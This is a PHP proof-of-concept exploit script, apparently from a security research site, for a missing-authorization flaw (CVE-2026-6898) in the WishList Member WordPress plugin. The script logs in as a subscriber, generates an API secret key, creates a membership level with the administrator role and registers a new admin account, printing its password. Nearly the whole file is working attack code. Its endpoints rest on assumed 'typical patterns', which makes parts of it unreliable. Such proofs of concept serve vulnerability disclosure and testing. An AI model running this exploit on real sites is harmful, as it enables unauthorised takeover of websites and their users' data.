// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6898 - WishList Member <= 3.30.1 - Missing Authorization to Authenticated (Subscriber+) Generate API Secret Key
/*
* This PoC demonstrates how an authenticated subscriber can:
* 1. Generate a new REST API key
* 2. Use that API key to create a new membership level with admin privileges
* 3. Register a new administrator account
*
* Assumptions:
* - Target runs WordPress with WishList Member plugin version <= 3.30.1
* - Attacker has valid subscriber credentials
* - The plugin REST API endpoint structure follows typical patterns
*/
$target_url = 'https://example.com'; // CHANGE THIS to the target WordPress site
$attacker_username = 'subscriber_user'; // CHANGE THIS
$attacker_password = 'subscriber_password'; // CHANGE THIS
// Step 1: Login as subscriber to get WordPress cookies and nonces
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $attacker_username,
'pwd' => $attacker_password,
'rememberme' => 'forever',
'wp-submit' => 'Log In'
);
$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Generate new API key via AJAX
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$generate_key_data = array(
'action' => 'wlm3_generate_api_key'
);
$ch = curl_init($ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($generate_key_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'X-Requested-With: XMLHttpRequest',
'Referer: ' . $target_url . '/wp-admin/admin.php?page=wishlist-member'
));
$key_response = curl_exec($ch);
curl_close($ch);
$key_data = json_decode($key_response, true);
if (!$key_data || !isset($key_data['secret_key'])) {
die("Failed to generate new API key. Response: " . $key_response);
}
$new_api_key = $key_data['secret_key'];
echo "[+] New API key generated: " . $new_api_key . "n";
// Step 3: Create a new membership level with admin role via REST API
$rest_url = $target_url . '/wp-json/wishlist-member/v1/levels';
$level_data = array(
'name' => 'PWN Level',
'role' => 'administrator',
'registration' => array(
'enabled' => true
)
);
$ch = curl_init($rest_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($level_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'X-WLM-API-Key: ' . $new_api_key
));
$level_response = curl_exec($ch);
curl_close($ch);
$level_result = json_decode($level_response, true);
if (!$level_result || !isset($level_result['id'])) {
die("Failed to create membership level. Response: " . $level_response);
}
$level_id = $level_result['id'];
echo "[+] Membership level created with ID: " . $level_id . "n";
// Step 4: Register a new user with the malicious membership level
$register_url = $target_url . '/wp-json/wishlist-member/v1/register';
$new_user = array(
'username' => 'admin_pwn_' . time(),
'password' => 'PwnedPassword123!',
'email' => 'admin_pwn_' . time() . '@example.com',
'first_name' => 'Admin',
'last_name' => 'Pwn',
'level_id' => $level_id
);
$ch = curl_init($register_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($new_user));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'X-WLM-API-Key: ' . $new_api_key
));
$register_response = curl_exec($ch);
curl_close($ch);
$register_result = json_decode($register_response, true);
if ($register_result && isset($register_result['user_id'])) {
echo "[+] New admin user created!n";
echo " Username: " . $new_user['username'] . "n";
echo " Password: " . $new_user['password'] . "n";
echo " Login at: " . $target_url . "/wp-adminn";
} else {
echo "[-] Failed to register user. Response: " . $register_response . "n";
}
// Cleanup
unlink('/tmp/cookies.txt');
?>